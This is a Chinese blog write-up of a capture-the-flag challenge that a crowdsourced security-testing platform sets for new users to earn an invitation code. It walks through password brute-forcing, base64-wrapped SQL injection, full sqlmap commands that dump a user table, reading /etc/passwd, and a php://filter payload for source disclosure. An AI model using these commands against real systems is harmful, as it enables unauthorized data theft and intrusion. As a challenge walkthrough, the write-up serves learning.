记录一次众测平台邀请码获取
0x00 背景
今天剛到公司,看到剛哥在群里發(fā)的消息。
打開一看是個眾測平臺,注冊的時候提示需要邀請碼,而邀請碼的獲得方式有兩種,一種是老用戶邀請,另一種則需要通過平臺提供的一個小游戲獲取flag,然而我們有不認識老用戶,沒辦法那只能去找flag了。
0x01 密碼爆破
打開網(wǎng)址看到只有一個用戶名密碼,并沒有存在驗證碼, 那肯定是系那是用burp軟件密碼爆破一波。
密碼非常簡單,根據(jù)返回的狀態(tài)碼找到正確的賬號密碼test/test123.
0x02 sql注入(整形手動)
使用破解的賬號密碼登錄系統(tǒng),只有兩個鏈接地址,分別打開看看,其中一個鏈接地址中包含aid參數(shù),對其進行了一波簡單的sql注入嘗試后,并沒有發(fā)現(xiàn)什么可用的價值,暫時先放著。
接下來嘗試把aid=1換成-1、0、1、2、3、4看看頁面變化 ,當aid=3時頁面出現(xiàn)了更多鏈接,如下圖:
然后將這些鏈接挨個打開,當打開第4個鏈接
(http://119.3.191.245:8877/user/Article.php?aid=3&id=NQ==)?
時,發(fā)現(xiàn)與其他鏈接有點不一樣,多了一個參數(shù),將NQ==嘗試用base64解密后是5,然后對該參數(shù)進行sql注入嘗試。將5 and 1=1進行base64加密后替換至url中觀察頁面返回結(jié)果,如下圖:
然后將5 and 1=2進行base64加密后替換至url中觀察頁面返回結(jié)果,結(jié)果發(fā)現(xiàn)端倪,如下圖:
到這里可以基本判斷此處存在sql注入漏洞,然后利用order by(或者union select 1,2,3,4,5,6,N)確定當前數(shù)據(jù)庫的字段數(shù)目,為接下來爆庫表字段做準備。
將order by n(n是猜測的字段數(shù)目)加密后放到地址欄最后,經(jīng)過多次嘗試最后的字段數(shù)為order by 3.
已知字段數(shù)為3,那么就可以利用union聯(lián)合查詢判斷網(wǎng)站顯示的內(nèi)容在數(shù)據(jù)庫的第幾列。當使用5 union select 1,2,3? --+加密添加到id=之后,結(jié)果網(wǎng)頁顯示"感知到注入跡象,啟動第四阻斷機制"的提示,猜測可能是因為網(wǎng)站禁止使用union函數(shù)。
0x03 sql注入(盲注)
既然union不讓用,那就試試盲注,因為手動盲注太費時間,我選擇使用sqlmap工具,構(gòu)造命令
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py --level 3(*是指定跑注入的位置,--cookie=“使用burp抓包得到自己的cookie”,--batch默認選擇確定,--random-agent選項將sqlmap的標準值更改為任意值,利用工具base64encode.py解碼,--level 3 同時顯示注入的payload。)
注入成功,接下來跑網(wǎng)站的數(shù)據(jù)庫
python sqlmap -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py --dbs最后跑出來五個數(shù)據(jù)庫,除了level2其余4個均為mysql的自帶庫,然后選擇level2數(shù)據(jù)庫跑數(shù)據(jù)表,構(gòu)造命令如下:
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py -D "level2" --tableslevel2庫中存在user和article兩個表,那基本可以判斷user表示保存登錄賬號密碼的表,article是剛才那個頁面像小說頁面的文章表,如下圖:
查看user表中內(nèi)容,構(gòu)造命令如下:
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py -D "level2" -T "user" --dump成功得到所有賬戶名密碼,看到其中有admin賬戶,登錄后看看是否有flag線索。
0x04 sql文件包含
登錄admin賬號后頁面幾乎與test頁面無兩樣,不過在同樣的文本后多了一個小表情,應(yīng)該是某種線索,點擊右鍵查看源代碼,發(fā)現(xiàn)圖片地址,如下圖:
看到圖片url中的filename參數(shù),第一感覺是嘗試文件包含,首先讀取filename=/etc/passwd成功讀取,可以很確定此處此處存在任意文件讀取漏洞。
任意文件讀取漏洞好像對于拿flag沒有什么用,不過我們可以嘗試讀取當前這些頁面的源文件,看看有沒有什么線索。poc構(gòu)造如下:
filename=php://filter/read=convert.base64-encode/resource=Read.php
將Read.php文件的內(nèi)容以base64形式輸出,將得到的內(nèi)容解密,可以看到Read.php的源碼如下圖:
看到文件包含函數(shù)requlre_once引用了Base.php文件,繼續(xù)嘗試讀取Base.php文件,如下圖:
將解密的代碼拉到最后看到"關(guān)于邀請碼"的提示,繼續(xù)讀取meifahufujiulaimingdu.php源碼,源碼文件內(nèi)容如下:
<?php#關(guān)于邀請碼,嗯,一目了然。require_once("Base.php");error_reporting(0);//$user = isUser();$url = "http://172.17.0.1:3000/code";$email = "";function send_post($url, $post_data) {$postdata = http_build_query($post_data);$options = array('http' => array('method' => 'POST','header' => 'Content-type:application/x-www-form-urlencoded','content' => $postdata,'timeout' => 15 * 60));$context = stream_context_create($options);$result = file_get_contents($url, false, $context);return $result; }$post_data = array('e' => $_POST['email'] );echo send_post($url, $post_data);#ps:建團?什么建團?啊,哦,那個啊,我記得小姐把它扔到static下面去了,有心的話,去那兒找找吧。根據(jù)得到的信息了解到需要用post方式提交email=參數(shù)獲取邀請碼,構(gòu)造接口如下圖:
成功返回flag,提交flag注冊成功。
總結(jié)
以上是生活随笔為你收集整理的记录一次众测平台邀请码获取的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 两个原子操作组合到一块不一定是能保证原子
- 下一篇: 计算机软考高级论文,非IT专业,写论文太